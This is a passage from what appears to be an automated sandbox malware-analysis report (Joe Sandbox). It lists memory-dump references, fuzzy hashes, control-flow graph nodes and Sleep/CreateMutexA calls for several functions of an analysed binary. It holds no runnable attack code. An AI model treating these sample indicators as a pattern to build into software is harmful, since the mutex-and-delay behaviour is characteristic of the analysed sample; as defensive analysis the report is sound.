                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: b8968355252ee74350df193e896d7b825b4e549544a990f5191ecff912018d36
                                                                                                                                                                                                                                                                                    • Instruction ID: 09a612399f91b16b9484efe5e9f7e4b6ec3a4c3ea3981346c3f44430838bd409
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b8968355252ee74350df193e896d7b825b4e549544a990f5191ecff912018d36
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DB3117B27042089BEB08ABF8D8CD7FDBBA5DBA5311F204259F11C9B3D5D7B549C08652
                                                                                                                                                                                                                                                                                    Function 00AFA54D Relevance: 3.1, APIs: 2, Instructions: 132sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 383 afa54d-afa56d 387 afa56f-afa57b 383->387 388 afa59b-afa5b7 383->388 389 afa57d-afa58b 387->389 390 afa591-afa598 call b0d663 387->390 391 afa5b9-afa5c5 388->391 392 afa5e5-afa604 388->392 389->390 395 afa944-afa949 call b26c6a 389->395 390->388 397 afa5db-afa5e2 call b0d663 391->397 398 afa5c7-afa5d5 391->398 393 afa606-afa612 392->393 394 afa632-afa916 call b080c0 392->394 399 afa628-afa62f call b0d663 393->399 400 afa614-afa622 393->400 411 afa94e 395->411 412 afa949 call b26c6a 395->412 397->392 398->395 398->397 399->394 400->395 400->399 414 afa953-afa994 Sleep CreateMutexA 411->414 415 afa94e call b26c6a 411->415 412->411 417 afa9a7-afa9a8 414->417 418 afa996-afa998 414->418 415->414 418->417 419 afa99a-afa9a5 418->419 419->417
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 12cc14d55542e9ab377b4bb5d01633851792a0202f6c625a2921309ce86a73e5
                                                                                                                                                                                                                                                                                    • Instruction ID: 8477f30f4c97f7432fb5629078110517aecca885307ed73e906db73380582b64
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 12cc14d55542e9ab377b4bb5d01633851792a0202f6c625a2921309ce86a73e5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8E3117B17041088BEB189BB8D8C97FCBBA1DB95314F248259F51C9B3D5C77589808652
                                                                                                                                                                                                                                                                                    Function 00AFA682 Relevance: 3.1, APIs: 2, Instructions: 131sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 421 afa682-afa6a2 425 afa6a4-afa6b0 421->425 426 afa6d0-afa6ec 421->426 427 afa6c6-afa6cd call b0d663 425->427 428 afa6b2-afa6c0 425->428 429 afa6ee-afa6fa 426->429 430 afa71a-afa739 426->430 427->426 428->427 433 afa949 428->433 435 afa6fc-afa70a 429->435 436 afa710-afa717 call b0d663 429->436 431 afa73b-afa747 430->431 432 afa767-afa916 call b080c0 430->432 437 afa75d-afa764 call b0d663 431->437 438 afa749-afa757 431->438 439 afa94e 433->439 440 afa949 call b26c6a 433->440 435->433 435->436 436->430 437->432 438->433 438->437 447 afa953-afa994 Sleep CreateMutexA 439->447 448 afa94e call b26c6a 439->448 440->439 453 afa9a7-afa9a8 447->453 454 afa996-afa998 447->454 448->447 454->453 455 afa99a-afa9a5 454->455 455->453
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6afba59c62919cd0f402db5b385c7b78153d16d7be029d67975ebba9006b5e6e
                                                                                                                                                                                                                                                                                    • Instruction ID: a01b81ba3523a8c6138ceaf7a363f85937359ca725f4a173c551c6bcb7ff9a11
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6afba59c62919cd0f402db5b385c7b78153d16d7be029d67975ebba9006b5e6e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E33128B17042088BEB18ABB8DCC9BFDBBB2DB95310F248259F51CD73D1D77549808652
                                                                                                                                                                                                                                                                                    Function 00AF9ADC Relevance: 3.1, APIs: 2, Instructions: 107sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 457 af9adc-af9ae8 458 af9afe-af9d91 call b0d663 call b07a00 call af5c10 call af8b30 call b08220 call b07a00 call af5c10 call af8b30 call b08220 457->458 459 af9aea-af9af8 457->459 459->458 460 afa917 459->460 463 afa953-afa994 Sleep CreateMutexA 460->463 464 afa917 call b26c6a 460->464 469 afa9a7-afa9a8 463->469 470 afa996-afa998 463->470 464->463 470->469 472 afa99a-afa9a5 470->472 472->469
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
